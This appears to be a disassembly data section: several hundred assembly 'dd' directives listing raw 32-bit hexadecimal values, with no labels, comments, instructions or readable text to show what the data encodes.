dd 0A3440514h, 98003730h, 0C04C2BDAh, 0B2EA7Ah, 0D00F890Bh
dd 0CFC75BBCh, 2C60B8E8h, 0B2B7B120h, 0E2DB06BFh, 39E045AEh
dd 6CFEB90Ch, 0D8A548BBh, 77CE1820h, 6D252900h, 0A340B64Ah
dd 0AE980113h, 73B2D411h, 0A07984C6h, 9D806C29h, 33F01C94h
dd 0C8089D39h, 77032100h, 363D9B6Bh, 508F0069h, 0C04B7FE2h
dd 0B60044DAh, 9F405576h, 6D8A02h, 9BD50CCEh, 74E9163Bh
dd 8029C9h, 0E7CF963Fh, 1CD76BFh, 0DC4D28B8h, 0E635B0AEh
dd 6149A80h, 440108AAh, 113FE60Ch, 0AD0EDB7h, 551C0EB9h
dd 0E2A0A141h, 0A9D84342h, 30455730h, 0C709B1CFh, 8D232B68h
dd 84808328h, 1C5A4B6h, 57F30C9h, 0D49A3315h, 5B54BACCh
dd 0C900DAA0h, 9BEBBBC3h, 1D40E0B9h, 1FDBCC80h, 8C0E00EFh
dd 8BC01189h, 69F36830h, 31B01ACh, 8FFF84EEh, 90937D07h
dd 0C4A0C8A2h, 251B103Dh, 0ADB0C900h, 23337943h, 0BAA40C05h
dd 7A790388h, 0A1B98936h, 19696F78h, 2E390903h, 2A462F0h
dd 164BFA06h, 0EE2107BCh, 6C8700AAh, 69C9FF5h, 0A7742FB1h
dd 0C180F87Dh, 118738B9h, 42E51580h, 5E47EDB6h, 0B50FE47Dh
dd 6AF2C02h, 1B30FE3Dh, 794683B9h, 917C3EE3h, 3B8E1702h
dd 822E87BBh, 21CCC658h, 402CCB91h, 60D6A014h, 0F5E04600h
dd 0EA6494E7h, 0BEC70370h, 0D02F886Ah, 2283CEE9h, 14CDC554h
dd 7FBD59C0h, 153C0021h, 1082AFEBh, 39027D62h, 1CB3DCD0h
dd 0FC4C413Fh, 8CED6020h, 1F106CE0h, 2E0ACF1h, 17006B72h
dd 0CEB9438Dh, 0C0314EBBh, 61EB8FD1h, 143C8451h, 0A47C00E0h
dd 1A08D6B0h, 0F87856C0h, 0EB1B0A02h, 0C433F784h, 1B158640h
dd 2C022E08h, 3BD7919Dh, 0B990A7B6h, 7C08AEF5h, 57968071h
dd 5BD40E1Eh, 0D17ACBFAh
dd 71056930h, 3E9FC2h, 0B0898BB9h, 0BE3FAFFFh, 0AC6CF903h
dd 267C7B02h, 176D4C29h, 0D46F05B3h, 0F48C60F1h, 8CF4AB6Bh
dd 6CF448Ch, 106B7600h, 60E427A9h, 1F440236h, 15ABBECh
dd 1D0B90A1h, 8004E5E0h, 0AAF29C11h, 0A55F2Ch, 0EBF04935h
dd 7ADE40D9h, 39864400h, 309D78C1h, 6C9B22h, 890EB2C9h
dd 4486CFB7h, 0B2EA9CB6h, 0FCE85A12h, 51376040h, 2A940B8Bh
dd 98BEA4h, 2F7E389Ah, 0A12E2D71h, 343A3600h, 8CEC034Eh
dd 826402AAh, 0D7A5387Ch, 678AE0A4h, 84B91BA0h, 0C1904207h
dd 1E1B0B8Ch, 0C0924D0h, 0D498153Dh, 3400F5C1h, 874065EDh
dd 755BBC6h, 0F35EFD33h, 0EF04A42h, 3091F1ACh, 2CA4F9BCh
dd 96551AB1h, 0A0824953h, 211CB72h, 3E257710h, 13009EE2h
dd 78284BF4h, 181BBF0Ch, 319D6F80h, 50918268h, 79988183h
dd 0E8407A30h, 4B8ACA1h, 890DB2E4h, 2EB362DFh, 2D00C8F4h
dd 61129922h, 0B012839Ah, 202ED3DEh, 0BD00C423h, 752353ACh
dd 975F009Eh, 3058DB37h, 0CC14F2DCh, 0B82CEC11h, 95078CC1h
dd 70640CE9h, 4875E862h, 8C9C0Ch, 531C63D1h, 8FE0FF6Eh
dd 491595Ch, 0F2BF68A2h, 25C494CBh, 5846304Ch, 5160034h
dd 0F45DEC57h, 0BB191D1Bh, 68291982h, 2AFF048h, 76A266BFh
dd 0EC9071BBh, 10F17410h, 5630AE0Bh, 0E502C836h, 0D7890AB2h
dd 81313E30h, 0A588FFC8h, 0FB008C6Ah, 0D80FEB22h, 22803406h
dd 0E202C77Ah, 0BAF5D752h, 2D04486h, 0ADD993FEh, 38903C30h
dd 811B2B3h, 3F88C789h, 0B2A09A86h, 2173DCh, 0DE04CA58h
dd 0C6801AD1h, 6183E9DFh, 14FCF5CEh, 30231511h, 6D563A0Ch
dd 2C01E4F1h, 0CBE0647Ah, 2EA411h, 0E8A73542h, 743A49B0h
dd 0E0F6AADBh, 0AEBDCC00h, 0FA84B444h, 80C700D6h, 0D9F3B8EFh
dd 0A7269C0Bh, 4600E701h, 10A629B9h, 203F031Dh, 0F1913C11h
dd 0E4AB8100h, 237DBA25h, 8B81Fh, 5464E633h, 0D54932F4h
dd 0D8990098h, 0B6187579h, 9EA80E4Ah, 0CEDB7B05h, 0EC2CC87Dh
dd 80127498h, 0E022C355h, 360820CAh, 67006652h, 325525B9h
dd 0A9ACC4h, 0A7AFEC51h, 0DBC7B68Dh, 0BD7D6100h, 9492EAFAh
dd 20E20CD9h, 4851C26Eh, 0E3ED7A03h, 0D7AA078Ah, 0A008E8D2h
dd 0A61786F4h, 0BD700A3h, 0EB9920A0h, 0FF54CF12h, 1F122BACh
dd 5820E8E0h, 13F4D9h, 0FC96B076h, 75D4B188h, 49E9D498h
dd 0A0CC42F0h, 0BE6BB033h, 848443F1h, 0AF0090F9h, 71566846h
dd 7FE822h, 25D33CB5h, 780A1E15h, 0C3D81F04h, 0A4C2238Eh
dd 0C194A0C5h, 0D6E689h, 0BF536822h, 0AF9CA972h, 0B21AE700h
dd 5908F6A4h, 76A10435h, 0CB9D71A7h, 0C9B8C86Ch, 0D8360B00h
dd 39C7FB3Dh, 0F96C693Ah, 90851F04h, 0FD2700F2h, 25722484h
dd 0CCA4EF2Ch, 0E38AFB40h, 0D85D000Fh, 0AFFEC7BEh, 551A58DDh
dd 0B7997436h, 72B00B8h, 0EDCD95CAh, 0C6A2C300h, 0BAB61F4Eh
dd 4C1D287h, 0BBFC34h, 76F0E2CEh, 2FC70E09h, 9823555Bh
dd 8BA8A1FFh, 7E29F275h, 0B858449Ch, 1F03862Ch, 3DAE884Fh
dd 60394CF0h, 8104FC22h, 5AC15D76h, 30B61082h, 0C4116B8Dh
dd 0CE88F4F1h, 6B8B0780h, 98AA92A3h, 33F30C60h, 68D1AF56h
dd 79B230F9h, 0A19D5F01h, 0D34A8CA8h, 16013870h, 28D0587Bh
dd 5B7CAD8Ch, 7F30F548h, 2253BA00h, 6154D50h, 0CB9A5h
dd 0D8E548C2h, 89003B9Fh, 4E5B62DCh, 0A2E07509h, 4548C280h
dd 6034E4C8h, 3C68336Bh, 0A72E579Ah, 3C1D6344h, 970314A8h
dd 9D9AC43Ah, 9868242Dh, 72029B46h, 9CF1B56Bh, 7C84E01Ch
dd 422706Bh, 86B961D2h, 3448C8Ch, 6A4EC000h, 0BD05AC0Ah
dd 8A1C021Fh, 0F944BBB2h, 740BBC48h, 820038B9h, 0FB5231B0h
dd 475520FDh, 0DB1F0DF8h, 49C2E323h, 60EBDE3Ch, 2F4B1C98h
dd 7CF64D44h, 46392026h, 1B2B801h, 0CD03F89h, 9B21C0E1h
dd 8CFCB2EDh, 912A36F6h, 721FD8CEh, 1FE46F2Ah, 0EA1F5700h
dd 7AF3EBC5h, 3E45009Fh, 0B34A621h, 3D027409h, 7C5D60E2h
dd 0F134C1E1h, 610FAD10h, 0E219B501h, 3FE63B0Ch, 163E3E4h
dd 7CDD7ED1h, 892CBE93h, 685DF218h, 0F975Ch, 0FEE39AB8h
dd 39D04953h, 6D72F0Eh, 0BB227058h, 0AC9983E8h, 0B02E2C3Eh
dd 7D714260h, 0B1BD0090h, 0C1628199h, 0E91E40E8h, 6304CBE4h
dd 0D8B4717Ah, 1104003Fh, 437F927Dh, 891CC464h, 0D11F2DA3h
dd 0CD159326h, 7AE3158Ch, 0E1FD02D8h, 40BB5870h, 155937h
dd 53F54C4Dh, 7D63B326h, 0F0249519h, 0B8DD7AE8h, 71745DD0h
dd 0E3BB2639h, 0A3004EB8h, 5A9CEA1h, 78CAA400h, 7F996867h
dd 8263003Eh, 0C5884269h, 4C94D57Ah, 60237892h, 0F046AB0Ah
dd 83289Ah, 58655B9Fh, 0E5F23203h, 80193F09h, 2F2C1071h
dd 19813E1h, 0EF1408CCh, 0FB8AE69Fh, 1202C45Ch, 404AC9A6h
dd 0EA237EF9h, 0F62C00A3h, 97B56D60h, 710C7B9Dh, 0C1F7E782h
dd 0B6A6035Dh, 624187E6h, 0AC131588h, 0EB56B800h, 5EA89FABh
dd 0E6C5284Bh, 70050080h, 0DFB62AE7h, 1A0239E5h, 0CF161F47h
dd 26D0CC89h, 172810FDh, 0CCCC3155h, 0AFE0E389h, 0A015F92Ah
dd 8473A4h, 0A2977E12h, 452457Ah, 0E2760EE0h, 0EE3A8049h
dd 6B75E5A3h, 4FBBF30Dh, 99C35102h, 6180EC98h, 0EA329A2Fh
dd 0DC995627h, 0C8FB4B01h, 0E2E0E7CBh, 45E000D1h, 515591C9h
dd 98A05A01h, 9301A61Ah, 0D78D161Bh, 11204830h, 3D60016Dh
dd 2E278911h, 6BCFCA4h, 284E79C0h, 67FA487Ah, 171E9839h
dd 80B7700Bh, 83096208h, 0E45ABAA3h, 155422Ch, 4AE2FE09h
dd 0E4EE8D46h, 0C72D0000h, 76E910C6h, 0A53032BBh, 0C18E31D7h
dd 0B42300F0h, 0BA0D735Ah, 0CD078FDDh, 44E20689h, 5D96BCD0h
dd 70D04991h, 0E91AF900h, 0EF071020h, 0ADFF3204h, 2E811826h
dd 22CB8C89h, 6409C090h, 649DCBCEh, 0EDA401B0h, 53784412h
dd 965AF473h, 1810E03h, 8980CB54h, 2310FB68h, 6F076D70h
dd 4C843E17h, 51EA7992h, 0B39A07D0h, 40E0EE1Dh, 34CC3B1Ch
dd 7798783Bh, 1531BB02h, 48E0E8DBh, 72F4F44h, 7BE49981h
dd 0CBDD0093h, 2DEE5CBBh, 268E4E14h, 69D1C08Ch, 564B465h
dd 0E2D80BF4h, 0DC9505B6h, 3FFAC1BFh, 0E054F806h, 52566000h
dd 0AF01FE48h, 5A74A140h, 82A9A47h, 0F27D9300h, 7116FFEEh
dd 11140019h, 7AD833B2h, 94A0893Eh, 6000E596h, 552FD468h
dd 1724DAh, 39EDB302h, 0E5E7C49h, 0E6112C01h, 3F12D428h
dd 0D897ECh, 9861D9CEh, 0CBC590B4h, 42DB4504h, 74C32333h
dd 4DD9D15Ah, 192FC220h, 287ABD86h, 28297Dh, 0CD108DCCh
dd 0C0493E15h, 91E93960h, 0CE28E0ABh, 40C014ACh, 0D91CBC9Ah
dd 9BB00071h, 54CF8DC3h, 286FEC24h, 8AC8C238h, 7BECC493h
dd 0C7EEF6h, 0B615AE25h, 0BBBACD90h, 86A891Dh, 7C208212h
dd 50114F1h, 0D5D95859h, 768C01EBh, 0FC6DC651h, 9E4C8361h
dd 0A3CB0104h, 0D9691908h, 0CA869980h, 0A29753Eh, 7F3CA400h
dd 0B5C79EF7h, 805CB498h, 0E7057D5Ah, 4F79CF35h, 0AA3DDA03h
dd 815722B1h, 607329D7h, 27596B04h, 0E500EA8Ah, 231D2EA1h
dd 0A0C113ECh, 38D800EAh, 0F8AEF2C4h, 0FC90309Ah, 0D9FD44h
dd 3C33FA8h, 0CE61E01Ah, 9FF83001h, 3B641CB3h, 3B697AD0h
dd 7C7DDD6Dh, 0D8A44C85h, 4A17B880h, 7C03BEE6h, 44AB15E9h
dd 3A7EE1C1h, 263FEDF8h, 0DCEE13h, 69CC061Fh, 0CD5B801Bh
dd 0D0397C40h, 0B814C082h, 90CE54C8h, 3A810062h, 0F7489A99h
dd 0E0F789D7h, 31015767h
dd 562C7E50h, 97CF7F76h, 847D32E0h, 5C694BB8h, 0E01CBDFCh
dd 2E540043h, 0DBC76796h, 220A38FEh, 0E85E4E6Ch, 317AB501h
dd 1C63B1C5h, 64BE2F0Bh, 7335B400h, 0E358CE7Bh, 79E80C8h
dd 0BB7CE0h, 5E355AC8h, 3401BA15h, 8286641Dh, 8800F712h
dd 5C409B43h, 26547233h, 4000FEC5h, 801F697Bh, 0D4C6572Ch
dd 8156006Fh, 8C8450h, 21FEE93Bh, 0A9E57210h, 3BA0014Ch
dd 3252002Ch, 36BE2F8h, 69124B5h, 0A8C38014h, 0BCAB8A6Fh
dd 42E59700h, 183EA06Eh, 0C97330B4h, 570F5169h, 0AFFB5Ch
dd 0AEA1268Ah, 5CE103h, 0A3E98990h, 0D6587FB1h, 43031D2h
dd 121329h, 96CE78B0h, 0BCAE706Ah, 0EF167506h, 0F231BAA4h
dd 17601C1h, 0AF9CC306h, 61BF408Ah, 0CE0B499Ah, 485BBBEBh
dd 3B13C5A0h, 7B85C260h, 8C9C4070h, 30C0487Ch, 8B598D84h
dd 0A00148C8h, 133E3407h, 1C823B80h, 5E204BFBh, 4BD250A5h
dd 91E420E3h, 0EB00EA63h, 1548FDA4h, 7C49E73Ah, 136B058Ch
dd 0C425987Eh, 0B9700480h, 5DF08293h, 3E0A84D1h, 0A209C88Eh
dd 5CA4C898h, 0F50600A5h, 0E7D97477h, 0B00750C1h, 0D37BE69Ah
dd 0E9438517h, 8107DABBh, 8B965624h, 875420h, 804E7D6Ch
dd 2BF0AB8Ch, 0A38F0100h, 9CB45ACBh, 0CE2901F1h, 31E859C3h
dd 0FAE444A4h, 57383h, 9D7D6881h, 0B9FFCFF7h, 19C09174h
dd 0A1E12560h, 0B8BD003Ch, 239BBA42h, 0DB55E951h, 5ECFE494h
dd 77C23C00h, 16DAA70h, 52820B78h, 0C02008EDh, 0CBEE28E5h
dd 800E980Bh, 93B09370h, 0CFB6A8A9h, 7499857h, 0B223F560h
dd 246772A7h, 8A6DA440h, 975EE500h, 7F9B3273h, 80689471h
dd 818B60E2h, 0C6013A9Ah, 0ED33F443h, 99F0837Ch, 40DA2427h
dd 518A0080h, 0BD989B84h, 0E3E2D9C0h, 74A32031h, 0C12800E0h
dd 9E21E73Dh, 4632AEDBh, 0D2E329C4h, 604000C0h, 0C48C179h
dd 0A7003C95h, 5B8AD0D3h, 25B432C3h, 0A810847Bh, 0B6481858h
dd 19BA00D8h, 0FB6E5BCEh, 75A92CEDh, 0DE2F0060h, 0E3033E88h
dd 0AD544A07h, 9089AEB2h, 48DE3AA0h, 0A102B4AAh, 5579887Ah
dd 0E60004E4h, 93BC521h, 84D901Fh, 69BFC9CAh, 12A7DC40h
dd 808EFF93h, 62003046h, 4752BC7Dh, 4096017Ch, 0CEDD1A01h
dd 0A512D787h, 3504C87Ah, 0DE107654h, 0D1EB1382h, 63CB0340h
dd 12AABBF2h, 37004471h, 8B7DA87Bh, 0C3830205h, 0E66AD2EEh
dd 8257C41h, 5320B47Ch, 0BECB76A0h, 0AA386900h, 0C12511DFh
dd 0B81D4C51h, 26623302h, 0A8449379h, 38AAB700h, 0EACD577Ah
dd 9E3D06F4h, 0E0FF58C2h, 0E4008C76h, 125A0EB4h, 58AB53E8h
dd 0EC806455h, 48696777h, 54419D00h, 0BFE8E01Bh, 0C3FE3E02h
dd 0E481450h, 3FD6C968h, 0BAEBB420h, 70028815h, 7AD906EDh
dd 50E8E453h, 0FB01A475h, 3433DEE9h, 0E990FC00h, 2E4363D5h
dd 13B87B48h, 30045434h, 0A54AD8FFh, 0B2893E18h, 0F58080A3h
dd 52E2A97Ch, 2F590200h, 10BFAEA7h, 28AC4BCFh, 7B0F4468h
dd 0F073123h, 680B93FAh, 0A5C86BB1h, 1738B8E4h, 0B6FE04h
dd 2CF3F916h, 3600D827h, 13E60D30h, 93F1A3Bh, 2D4EBBBEh
dd 5C01C8EEh, 0C272226Fh, 80F7A812h, 521C6DCh, 0C9B8E2E6h
dd 41FCC0EBh, 792DCF33h, 0DE18802Ah, 0BD684CBh, 3B767ADDh
dd 740F9C64h, 40556728h, 62C532CDh, 0E275003Ah, 0B54FAB95h
dd 0FF05E08Bh, 0E78856FEh, 18F24C8h, 3F54877Fh, 25B99843h
dd 0D5A3D920h, 414B70D0h, 9560BE1Ch, 5E59142h, 56744037h
dd 0FA070701h, 903CC47Dh, 314046F3h, 75EB9502h, 0E4F2FFCEh
dd 0F67704FCh, 0F43DAF05h, 20981208h, 0F5CE6F0Dh, 54202945h
dd 53481F52h, 0BBCB0174h, 330655BAh, 578300CCh, 40102F0Bh
dd 486F2E3h, 0B011CF50h, 8D28C8E2h, 0E8AE690Eh, 65E9E02Fh
dd 5A0F382h, 0BA6C98F8h, 0E0688988h, 903267EBh, 26E19845h
dd 614E583Ah, 0CEF6B020h, 0A19400A6h, 0B3C6E6D8h, 0E709472Dh
dd 5172C401h, 0C03D1E30h, 0BE51FE82h, 530042D9h, 0B360C44Ch
dd 2CB00EA8h, 40BCA510h, 0E4AECF68h, 2CAC6300h, 7A4BA8D6h
dd 0FDBA0AADh, 0EB01C8Ah, 3DE352h, 0B3DCCF5Eh, 702E7A32h
dd 39005701h, 91D0D603h, 8CD8A8B7h, 652E00F8h, 858AC1FEh
dd 201EBD5h, 8DB541F2h, 0FC88F72h, 6CCE51DAh, 27966C60h
dd 78A0693Bh, 5F5133A2h, 84AC1A50h, 0E9032C17h, 8827A421h
dd 2CF47920h, 97C6451h, 1810911Ch, 5403EFBAh, 4840E068h
dd 58108931h, 8250FCh, 65DE2EEDh, 4ED039E7h, 33DB2909h
dd 54C5A56h, 883F78EFh, 0AA418171h, 1C286331h, 0CE805C6Ah
dd 0BA63447Ch, 1CAD0630h, 0C9804FBBh, 4C4E685Ah, 8FA40006h
dd 1F9FC4DBh, 9432AEDDh, 9200705Eh, 84094FC7h, 694A123Fh
dd 0F72C5C40h, 37AADF1h, 8AE5A095h, 49D0A239h, 42045C52h
dd 0FBCF17ABh, 2E0538A2h, 0CCC3EA62h, 54009AE8h, 0CBF2E94Eh
dd 5087BB7Dh, 0F16050F8h, 0B4B62A00h, 0E957E426h, 67326E00h
dd 75C318h, 0D1E5554Fh, 4C9371E6h, 7EA0393Ah, 0B6F1EB00h
dd 312E40C3h, 0A03B48AFh, 89AC0B96h, 885E8C18h, 3B68A003h
dd 0CCAC20B1h, 0C78CF4h, 88C87AE8h, 5653F13Fh, 0A4F851Fh
dd 0D5014992h, 0E12766DBh, 88C55020h, 3500527Dh, 0E28AF508h
dd 4D8295Dh, 711A06B0h, 219E85D1h, 0E8E3A23Ch, 550188F3h
dd 0D41DDAEh, 0E8F449C7h, 0E5B9005Ah, 0FA06A283h, 0BA880568h
dd 515E0290h, 7512F7C3h, 93CF8060h, 6C0E0B2Eh, 0E7337A05h
dd 0F4D33CF4h, 351762Fh, 703B0E48h, 99F835DBh, 0CA12137Eh
dd 0B8E17B32h, 2AE00C65h, 205A0F48h, 3A8588DCh, 0B4881241h
dd 770027D0h, 2A472884h, 0EE9CEDh, 5999D461h, 98659EABh
dd 6B64F900h, 0A839E64Fh, 0BA8F07E8h, 0E1C63E01h, 0C0B39918h
dd 709988CFh, 242AAF00h, 12693E80h, 88EC5A56h, 0DA00286Ch
dd 8AF3D815h, 746AD4D6h, 2AE90374h, 0A40F2B0Bh, 0E13FAEE8h
dd 9E7F8D88h, 5840666Ch, 0BE897901h, 0B7382AE6h, 0CA008863h
dd 0E0CFB89Ah, 0E007234h, 0C1107F96h, 756C944h, 0F56C020Bh
dd 51415007h, 607384C6h, 0DCB17B00h, 97B001BEh, 1C1301D0h
dd 34773623h, 2F388143h, 6BA88C9h, 80EA20h, 0E1EE85E9h
dd 331E7F99h, 58476600h, 889DD22h, 392B3864h, 56383C30h
dd 0E026E7AAh, 9027DF7h, 401795A2h, 6B0A996h, 0AC807396h
dd 0F20369CEh, 413113B5h, 0CC790567h, 6A0847Ah, 29FC07E2h
dd 0BA4F5D00h, 35C2B121h, 773F1C94h, 0B442C07Dh, 0ACFDFFC1h
dd 0F92EC330h, 0FD65C1Bh, 2C95D5FAh, 28D86900h, 4900108Eh
dd 53A588B5h, 0F099913Dh, 94D706F9h, 0C13ED3FBh, 67B2A900h
dd 4996FE23h, 2CAFAF6h, 7F21608Dh, 1490E7FBh, 850095B1h
dd 97A17C7Dh, 620BBBECh, 649F213Dh, 0E2514F60h, 8D0A16EAh
dd 20EBFBA9h, 0D0BBB640h, 0EE6E0281h, 6A4931DBh, 0EDA2C090h
dd 8070A505h, 8440C4AAh, 95DBE863h, 60E570D7h, 4234F138h
dd 0E100A9FBh, 1AAB729Ah, 5824A34Bh, 5A0CF07Ah, 5841FD0Ah
dd 5479DE00h, 4A6E98D5h, 6BFF0074h, 0F2ED772Ch, 29C0C007h
dd 9453F0Ah, 68623806h, 6C50FD3Ah, 793363F2h, 0C7B113Fh
dd 0E2D570Ah, 24009875h, 0C37A6D6h, 3C9D098Eh, 4C22994Eh
dd 0ED00C82Ah, 0EA9EA765h, 49E3016Eh, 0EAC30389h, 0F9CADCB2h
dd 0ACD0E800h, 0B4DDFEDh, 4279C408h, 0E142C094h, 0C0E3D03h
dd 129ED7A9h, 7B735401h, 4E7049AFh, 8C395217h, 84D14737h
dd 9364809Bh, 406BA8Dh
dd 45F2BC4Dh, 1EAF0029h, 4A6A113Dh, 3B00AD55h, 76D76410h
dd 6A72FEFh, 0C37335C9h, 17003131h, 4BEB2A9Ch, 0F5D2D7Bh
dd 7F457A89h, 6475005h, 7959E3C0h, 70A72E00h, 2CD5F47Ah
dd 0E8800E6h, 0C8239131h, 320F3D57h, 206994FAh, 0EE8CFCBDh
dd 0B0B23D7Ch, 0C930075h, 48C478D3h, 920689DCh, 0B48056C5h
dd 2E2F7C89h, 12381E05h, 87B00081h, 0E051F0D3h, 2D816E60h
dd 0DBF83Ah, 0E1ACEC48h, 7F31F461h, 0B0868CA4h, 0D38A6FCh
dd 1C02820Ch, 41BD64D3h, 0E13BC138h, 0B330408Ch, 730ABDFh
dd 9D3E41FBh, 1334005Dh, 0F32E3271h, 0D3F6FAD7h, 0B0EB991Eh
dd 0B5809085h, 88685801h, 118048C3h, 52DB55B7h, 0B900E2CBh
dd 0B2F4A807h, 2DC264Fh, 5C19BCDEh, 0D44070AFh, 57005E08h
dd 0AD919D31h, 5C33CCE6h, 0F224BB95h, 0B76E402Ch, 8E0096BDh
dd 28C98573h, 50BC8D0Ah, 22D94FEh, 91A493AFh, 7063FC5Dh
dd 0F2787CD0h, 5C029899h, 0E01DBD33h, 7593EAh, 1961517Dh
dd 0A5B3E606h, 0C9CF0A30h, 831AAFh, 8CF48D75h, 5BD394D4h
dd 7670E40Ah, 0D88014ABh, 78F0C81Fh, 0F2BE004Dh, 350F4146h
dd 0D0188FBh, 75732ABCh, 9BC36980h, 21880E34h, 0D2006393h
dd 0C44243CEh, 0F89C5802h, 40813E06h, 4B7B2F4h, 9020D651h
dd 387CCCC3h, 856A1700h, 0E8B38CD3h, 0A75E0286h, 88E24287h
dd 9EA28481h, 46A841F9h, 0EE747026h, 74794Ch, 0FB63430Eh
dd 6007D5B5h, 3C2CC1E6h, 0E8034A22h, 0A795DE41h, 0E080040Eh
dd 0C80A1789h, 44003CD0h, 11AF191Fh, 1DC701Dh, 33C75A21h
dd 0F34102D3h, 32F3D81h, 0C3EE973Ah, 0C7CD44E9h, 6DE66FF1h
dd 3D44824h, 0AD93900Fh, 0F9F0EFD7h, 0D49A8F82h, 335F350Ah
dd 0E00078F2h, 0C17C2977h, 52471D62h, 0BECA8072h, 80881C0Fh
dd 0D395E10Bh, 217B802Bh, 4C60D46Eh, 0C780C00Bh, 87FDF99Fh
dd 92318618h, 0ECB5B930h, 509600A2h, 1B55DDA9h, 0EA24B4F1h
dd 9012B089h, 0FD1C2801h, 4980095Fh, 0B93D26BAh, 4909509Ch
dd 1007661Dh, 0D3CC00h, 0F5DA0FB0h, 0DFDBDCD9h, 3935011Fh
dd 2DF8B5D5h, 15E76h, 836E5332h, 0FF58DADEh, 2753E1Ah
dd 0FD02ACB0h, 1638A0E8h, 7236B7DAh, 80BCB12Eh, 821BE2F7h
dd 971E96DBh, 0E0805CD9h, 945E92D3h, 7ED11B6h, 0ABB800F4h
dd 7EAFF642h, 8E5000F8h, 21756B39h, 0FE03371Ah, 6CE899ACh
dd 85F09B30h, 77711C80h, 29D30531h, 4054E3DDh, 0B9DB38D8h
dd 0F3006F6Bh, 0D692407Eh, 7BDF4CA3h, 18CDFCB2h, 79F90C8Ch
dd 610097FCh, 99908D69h, 0ABA7D0h, 0D596873h, 0C2D28AE5h
dd 0C7C5FB51h, 0EC06100h, 28E3F479h, 0EF500112h, 0C69BAB7h
dd 0C832F2h, 0FCCA02C3h, 7AE68D0h, 0B286BAB9h, 3BEE6016h
dd 30F1AF5Ah, 5206E6EAh, 0C107613Ah, 451B3B91h, 70C22800h
dd 39443173h, 2CA85758h, 0D76074A5h, 1F667D1h, 6DE87ADCh
dd 60955428h, 4988CECCh, 749C580Ah, 0F1232403h, 0C100E2E3h
dd 0C2F3DA19h, 26F3F8Fh, 72A8EB8h, 0AC0D349h, 0B30FDE34h
dd 60B06094h, 0A97090F0h, 36FF01E4h, 0EA32EF0Dh, 88AF8EDh
dd 4F001891h, 555DBE73h, 0F60F0BBh, 9B64D774h, 0FFD27760h
dd 28984E6Ah, 122FA320h, 2DFD76Fh, 0E9477AFEh, 70B884C0h
dd 9BA00C00h, 40D79E16h, 5B2B0549h, 0C2F3BDFBh, 2969C8h
dd 4B54171Ch, 0FEF505BAh, 37928C90h, 296410D0h, 100F7D2h
dd 38162C5Dh, 124E92h, 44984F4h, 2119A223h, 0A3908250h
dd 0F70D6700h, 0F4E1FD47h, 0A62C3A48h, 0A00040CAh, 0DCF537F3h
dd 0CCE33498h, 6F4DE86Ch, 6BBE007Ch, 0EE1DE52Ah, 50C9884h
dd 0E125320Dh, 3408C03Eh, 70985A5Eh, 0E9E01E0Ch, 1922868h
dd 1F02E860h, 728BE20Eh, 51990F9Ch, 5E89470Ah, 453470D0h
dd 0E589CF6Bh, 0F029356Dh, 0AB000CAAh, 0B6464B17h, 0C0482AF3h
dd 3F861669h, 7B17BDF2h, 30009694h, 5AECA5FCh, 0A47D5634h
dd 0EE7A0100h, 2EAA31CCh, 0F525893Bh, 7F588100h, 67DAA909h
dd 3998B320h, 50D07586h, 240340A7h, 0B6802655h, 90210AC8h
dd 0C5416E2h, 49B84FDFh, 0C1FE0A88h, 2EA4B629h, 0FC72204Bh
dd 51007EECh, 0E6F466Bh, 4C7D4C14h, 810B70FEh, 80060B4h
dd 0E0383FA0h, 0C15A69h, 54105CA9h, 0F2060735h, 0F0579D1Eh
dd 0CA040D05h, 2225BD04h, 0B0C8088Dh, 1DC776B3h, 94AF4224h
dd 48118827h, 0BDE51E68h, 2808A935h, 81189D6Eh, 0BB172316h
dd 3208F599h, 8185007Ch, 0BEE31E6h, 0A81E0141h, 13E893B2h
dd 0E8220Ch, 0C75F6BBAh, 852DF30h, 4AD8577Ah, 0A931803h
dd 2B2900C5h, 0CCB5B4E0h, 8F1857FCh, 128183E1h, 412300F5h
dd 0CBE33A24h, 0BE002B08h, 7EC6D834h, 51808679h, 0C06E24B3h
dd 0BB6847D6h, 0E97EDA03h, 73FF290h, 7518BD9h, 31D28002h
dd 5A00C795h, 0C6BFCCE8h, 2EE0E57Bh, 10E8EF68h, 212980C3h
dd 0A09B4F39h, 896D4498h, 81DC2076h, 9291C606h, 2519E7FBh
dd 7820F256h, 0F07DAFD2h, 0EE9FA214h, 0E2BB09E8h, 0DD649089h
dd 7D0E1752h, 0F2E8044Ch, 0CC24902Bh, 0AD0707D9h, 0B8701AEDh
dd 9D00C505h, 0C40E4BF4h, 884700B9h, 0D36E8C5Ah, 6965B16Ah
dd 7FB8010h, 20E6E52Bh, 6367FD10h, 1190C358h, 743F3F65h
dd 0F2AC2306h, 61018936h, 7D19A8F9h, 0B426E265h, 0CD164201h
dd 536095B4h, 0A4882B18h, 88F4B0ABh, 0D459101Dh, 0F8010C00h
dd 0FECBA76h, 0A4EEAC31h, 0B05A79A0h, 0D8296191h, 0E00D407h
dd 0BF2EADA1h, 179F1C32h, 0E884C648h, 0F054071h, 2D598FA2h
dd 0FE6C8Ch, 847AF2B2h, 70469703h, 7EEC500h, 0C72148E8h
dd 92A61AAEh, 0A412C06Eh, 0C3403820h, 0E05E08Bh, 0E1819094h
dd 0F370888h, 0A3364A74h, 0A76204A0h, 0D52ED965h, 4C07CC73h
dd 582C617Ah, 0E0F81818h, 73F2393Ch, 0C0205EAh, 705ED206h
dd 244C61ACh, 0A0E10820h, 0E3E014h, 478FC084h, 3BDAC705h
dd 4C1CAD48h, 284900D0h, 91D5502Bh, 481A05ABh, 78FBE09h
dd 14F8DDE4h, 60E20Eh, 0B32753A4h, 1C610A84h, 868E182h
dd 0EC07343Bh, 42F09B6Dh, 29AC0Eh, 0DE440893h, 0B6540294h
dd 0C8F2BA2Eh, 696FDD00h, 0A228B91h, 4088E5F3h, 44BCA8ECh
dd 0AB000E54h, 1E80ED22h, 8C9C4Fh, 0DFE25666h, 0B3B611E7h
dd 9200D58h, 0C80AA9FCh, 0BCA654h, 8FB0D6FAh, 5AE172A1h
dd 80F851CBh, 7AC091FBh, 77267308h, 28700031h, 0B3295036h
dd 0F10055C6h, 0B0997BE6h, 9ED980h, 954CED58h, 97158763h
dd 0C3DD08C3h, 9F808CE2h, 912186h, 157464DCh, 249E46FAh
dd 6A299F61h, 40D22708h, 3B72DDh, 2B0AE2EFh, 24C3C2F2h
dd 28629030h, 3C6C79A9h, 119E70F7h, 3C5183CAh, 48009AF9h
dd 1AD30D9Bh, 73BE97D5h, 99A63CF5h, 0C6774F00h, 0A78AC7E0h
dd 47562703h, 2FC393Fh, 5F8BEB39h, 40601840h, 5400495Ch
